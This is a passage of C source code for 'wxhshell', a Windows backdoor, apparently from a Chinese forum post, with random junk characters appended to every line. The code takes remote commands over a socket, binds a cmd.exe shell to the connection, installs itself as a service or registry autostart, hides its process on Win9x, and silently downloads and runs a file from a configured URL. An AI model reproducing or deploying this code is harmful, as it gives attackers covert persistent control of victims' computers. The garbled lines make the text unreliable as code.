  _D{zB1d\0  
  // 帮助 r=57,P(:Ca  
  case '?': { jvfVB'Tmr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u=j|']hp#&  
    break; 2hB';Dv  
  } O5}/OH|j  
  // 安装 Hgu:*iYA  
  case 'i': { H<tk/\C  
    if(Install()) <eWGvIEP[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $xx5+A%,  
    else 38Rod]\E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $7Sbz&)y3  
    break; si`{>e~`6P  
    } ;VQFz&Q$u  
  // 卸载 JiFy.Pf  
  case 'r': { W40GW  
    if(Uninstall()) {8L)Fw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 31BN ?q  
    else 00DWXGt20o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $#Mew:J  
    break; "v.]s;g  
    } P<+y%g(({  
  // 显示 wxhshell 所在路径 m3|KIUP  
  case 'p': { %y@iA91K  
    char svExeFile[MAX_PATH]; -I, _{3.S  
    strcpy(svExeFile,"\n\r"); 44s K2  
      strcat(svExeFile,ExeFile);  ]J= S\  
        send(wsh,svExeFile,strlen(svExeFile),0); C):RE<X  
    break; eFO+@  
    } n])-+[F  
  // 重启 M~&|-Hm  
  case 'b': { #3uBq(-Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >z=_V|^$  
    if(Boot(REBOOT)) re.%$D@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s3G\L<~mB  
    else { IKJ~sw~AQ  
    closesocket(wsh); O5"o/Y~m  
    ExitThread(0); c[=%v]j:u  
    } WA);Z=  
    break; hl4@Y#n  
    } OL+!,Y  
  // 关机 6~g:"}  
  case 'd': { 7ko7)"N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *%0f^~!G<p  
    if(Boot(SHUTDOWN)) S6sSdo'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d2H&@80  
    else {  8ad!.  
    closesocket(wsh); dhW;|  
    ExitThread(0); FV[6">;g  
    } 1'|6IR1'  
    break; )g4oUZDF  
    } IB wqu w+  
  // 获取shell 0m5Q;|mH  
  case 's': { Q37VhScs  
    CmdShell(wsh); K#"@nVWJ.m  
    closesocket(wsh); eO,  
    ExitThread(0); /)8 0@  
    break; Fa(}:Ug  
  } `I$qMw,@  
  // 退出 ;qI5GQ {  
  case 'x': { l+'1>T.I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k&nhF9Y4  
    CloseIt(wsh); o3H+.u$  
    break; Xco$ yF%  
    } Tb-`0^y&X1  
  // 离开 'e6 W$?z  
  case 'q': { y)3(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MDkIaz\U  
    closesocket(wsh); }9C5U>?  
    WSACleanup(); "X']_:F1a  
    exit(1); 9X&Xs/B  
    break; >/"XX,3  
        } %EPqJ(T  
  } bw*@0;  
  } (l 2 2p  
YQR*?/?a  
  // 提示信息 RJs_ S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (4V1%0  
} {d$S~  
  } <!,q:[ee5  
,8( %J3J  
  return; !DnG)4#  
} KmV>tn BQ  
\Rn.ug  
// shell模块句柄 AK<ZP?0  
int CmdShell(SOCKET sock) x7e  
{ D} 0>x~  
STARTUPINFO si; :C42yQAP  
ZeroMemory(&si,sizeof(si)); Y51XpcXQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PiB)pUYj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }\u~He%  
PROCESS_INFORMATION ProcessInfo; TJY$<:  
char cmdline[]="cmd"; 98C~%+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [Hdk=p  
  return 0; K. G#[  
} Y=G *[G#  
(2@b ,w^  
// 自身启动模式 4qda!%  
int StartFromService(void) '$)Wp_  
{ mxHNK4/  
typedef struct _}]o~  
{ 4\(;}M-R{  
  DWORD ExitStatus; Y,D\_il_  
  DWORD PebBaseAddress; ,Ucb)8a  
  DWORD AffinityMask; 'D(Hqdr;:  
  DWORD BasePriority; n#3y2,Ml  
  ULONG UniqueProcessId; pmCBe6n \l  
  ULONG InheritedFromUniqueProcessId; i/xPO  
}   PROCESS_BASIC_INFORMATION; &3{:h  
:kZ2N67  
PROCNTQSIP NtQueryInformationProcess; p!'wOThO`  
z@y* jT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $#4z>~0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [v-?MS  
17D167\X  
  HANDLE             hProcess; }sy3M rb  
  PROCESS_BASIC_INFORMATION pbi; LWbWj ^  
MC#bo{Bq3-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |iM*}Ix-  
  if(NULL == hInst ) return 0; ?vRz}hiy  
tBBN62^ X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (Xq eX(s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RqHxKj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w]yLdfi!  
!xo@i XL  
  if (!NtQueryInformationProcess) return 0; v,>F0ofJ  
aic6,>\!'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {>FA ~}cX.  
  if(!hProcess) return 0; 2|}p&~G(  
_;01/V"q6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y8+?:=N.  
lRt8{GFy  
  CloseHandle(hProcess); 4)j<(5  
]^ O<WD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZuS+p0H"  
if(hProcess==NULL) return 0; 2L<TqC{,-  
]VJcV.7`  
HMODULE hMod; P >N\q  
char procName[255]; ;JL@V}L,  
unsigned long cbNeeded; aDZLabRu  
A#1y>k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iI&SI#; _  
=As'vt 0  
  CloseHandle(hProcess); *C\4%l   
@oRYQ|.R  
if(strstr(procName,"services")) return 1; // 以服务启动 ,A6*EJ\w   
z5'VsK:  
  return 0; // 注册表启动 WgPL4D9=  
} 5RLK]=  
5 (H; x74  
// 主模块 0[3b,  
int StartWxhshell(LPSTR lpCmdLine) 1}jE?{V*  
{ XVv7W5/q]  
  SOCKET wsl; s?Q`#qD  
BOOL val=TRUE; D"x~bs?V\  
  int port=0; rW\~sTH  
  struct sockaddr_in door; !Rb7q{@>  
iBUf1v  
  if(wscfg.ws_autoins) Install(); T[Gz  
6  09=o+  
port=atoi(lpCmdLine); c7rYG]  
RTl7vzG  
if(port<=0) port=wscfg.ws_port; NZlJ_[\$C  
q',a7Tf:  
  WSADATA data; 8%xtb6#7M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [2\`Wh:%P  
)i!)Tv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9q8 rf\&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |x5 w;=  
  door.sin_family = AF_INET; W' 2)$e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kT$4X0}  
  door.sin_port = htons(port); 4x C0Aw  
b&_p"8)_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oNCDG|8z  
closesocket(wsl); z:fhq:R(  
return 1; 9MYt4  
} 3p4bOT5  
b5)>h  
  if(listen(wsl,2) == INVALID_SOCKET) { `GDYL7pM(  
closesocket(wsl); (Iq\+@xE=  
return 1; 33;|52$  
} ;q^YDZ'  
  Wxhshell(wsl); kXjpCtCu  
  WSACleanup(); sIy$}_  
AMm O+E?  
return 0; $OhL 95}7  
fzio8m KVX  
} uBMNkN8  
cXCczqabv  
// 以NT服务方式启动 v*^2[pf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5g5pzww  
{ ,pG63&?j  
DWORD   status = 0; '#Fh J%x  
  DWORD   specificError = 0xfffffff; U92hv~\  
w`v\/a_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T a[74;VO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @"EX%v.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;yXnPAtJ  
  serviceStatus.dwWin32ExitCode     = 0; <?7~,#AK  
  serviceStatus.dwServiceSpecificExitCode = 0; X'F$K!o*,:  
  serviceStatus.dwCheckPoint       = 0;  Uh8ieb  
  serviceStatus.dwWaitHint       = 0; uJ y@  
$Yxy(7d7w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d!X?R}  
  if (hServiceStatusHandle==0) return; ]s S oIT  
2M1mdkP3  
status = GetLastError(); ZT8j9zs  
  if (status!=NO_ERROR) Oxvw`a#  
{ A&7jE:Ew  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `&6]P:_qp  
    serviceStatus.dwCheckPoint       = 0; puyL(ohem  
    serviceStatus.dwWaitHint       = 0; ^KF'/9S  
    serviceStatus.dwWin32ExitCode     = status; S\rfR N  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;lEiOF+d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +=8Po'E^!d  
    return; Smu x&e  
  } ~zX5}U<R  
bDNd m-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )gLasR.1  
  serviceStatus.dwCheckPoint       = 0; J|q_&MX/  
  serviceStatus.dwWaitHint       = 0; mNY z7N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _L72Ae(_  
} xd.C&Dx5  
?(=B=a[  
// 处理NT服务事件,比如:启动、停止 e+WVN5"ID>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )5v .9N 6v  
{ cA\W|A)  
switch(fdwControl) l{AT)1;^  
{ ;Vy'y  
case SERVICE_CONTROL_STOP: TDGzXJf[  
  serviceStatus.dwWin32ExitCode = 0; `ouzeu9}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c2f$:XiM  
  serviceStatus.dwCheckPoint   = 0; &40]sxm  
  serviceStatus.dwWaitHint     = 0; b#U%aPH  
  { /km3L7L%R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *X-$* ~J0  
  } "F}Ip&]hAG  
  return; Oe!&Jma*>  
case SERVICE_CONTROL_PAUSE: h:NXO'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !;a<E:  
  break; i5"q1dRQ  
case SERVICE_CONTROL_CONTINUE: 19t*THgq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c%!wKoD  
  break; |{K:.x#^  
case SERVICE_CONTROL_INTERROGATE: 8gxLL59  
  break; q}i87a;m  
}; OXB-.<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !/zj7z !  
}  B" z5j  
hH/ O2  
// 标准应用程序主函数 g1|c?#fwo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hdL2`5RFF  
{ MO/N*4U2  
n}?G!ySg  
// 获取操作系统版本 7A6sSfPUy  
OsIsNt=GetOsVer(); B$Z!E%a;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -*2X YTe  
LNE[c  
  // 从命令行安装 xTZ5q*Hqx  
  if(strpbrk(lpCmdLine,"iI")) Install(); uSJP"Lw  
pAuwSn#i  
  // 下载执行文件 5XHkRcESZ  
if(wscfg.ws_downexe) { 1 %`:8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '7R'fhiO/3  
  WinExec(wscfg.ws_filenam,SW_HIDE); eV0S:mit  
} bYc qscW  
HWBom8u0  
if(!OsIsNt) { 5aNDW'z`f  
// 如果时win9x,隐藏进程并且设置为注册表启动 lg+g:o  
HideProc(); Sq,ty{j2%  
StartWxhshell(lpCmdLine); Qg!*=<b  
} zY+Et.lg]^  
else ]Dg0@Y  
  if(StartFromService()) bn35f<+  
  // 以服务方式启动 M(uB ;Te  
  StartServiceCtrlDispatcher(DispatchTable); 9a%@j ]  
else nW_  
  // 普通方式启动 !?/bK[ P,  
  StartWxhshell(lpCmdLine); Uzn|)OfWP  
QO/7p]$_  
return 0; \[EWxu  
}
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只看该作者 1 发表于: 2006-10-10
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